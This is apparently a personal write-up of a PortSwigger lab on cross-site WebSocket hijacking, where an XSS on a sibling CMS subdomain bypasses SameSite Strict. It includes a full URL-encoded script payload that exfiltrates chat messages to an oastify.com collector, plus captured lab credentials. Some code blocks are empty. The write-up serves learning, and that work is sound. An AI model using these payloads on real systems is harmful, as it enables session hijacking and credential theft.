> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# SameSite Strict Bypass via Sibling Domain
SameSite Strict Bypass via Sibling Domain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### SameSite Strict Bypass via Sibling Domain
Lab: Live chat functionality is vulnerable to cross-site WebSocket hijacking (CSWSH). The objective of the lab is to access the victim's account by extracting the chat history to the default Burp Collaborator server; the history contains clear credentials.
Use the exploit server provided to launch a CSWSH attack that exfils the history of the victim's cat.
The chat works via WebSocket and the history passes through it.
The session cookie is sent with SameSite (blocking conventional cross-site redirection scenarios).
The JavaScript client-side file (e.g. `chat.js`) is loaded from a CMS subdomain that returns a `Access-Control-Allow-Origin` header allowing interaction from this subdomain.
The CMS authentication panel is vulnerable to script injection via the `username` parameter (e.g. `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
Using this injection, you can run JavaScript in the context of the vulnerable sub-domain, thus establishing an authenticated WebSocket (cookies are then sent, since the origin is the same) to the chat server.
### Approach (summary)
1. Place a malicious script in the `username` parameter of the CMS subdomain login form.
2. This script opens a WebSocket connection to the chat server and sends a `READY` signal.
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. Upon receiving messages from the WebSocket (cat history), the `fetch` script encodes these data (base64) to an attacker-controlled server (OAST/Oastify).
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
Host/serve a redirect on the exploit server to push the victim to visit the vulnerable URL (login with `username` containing the script).
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### Results Observed
* When the exfilted query was received, the `data` parameter contained a base string64; By decoding it we get the cat's entrance.
* Example of paidload received (base64 decoded):
```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```
By injecting from the authenticated context (CMS subdomain), the script transmitted messages containing user conversations and, in this case, a message containing the credentials in plain language.
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### Extracted Credentials (as Noted)
* `carlos:hdf3fkk8h7tnltupqs5t` (credentials found in cat history)
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"No problem carlos, it's hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
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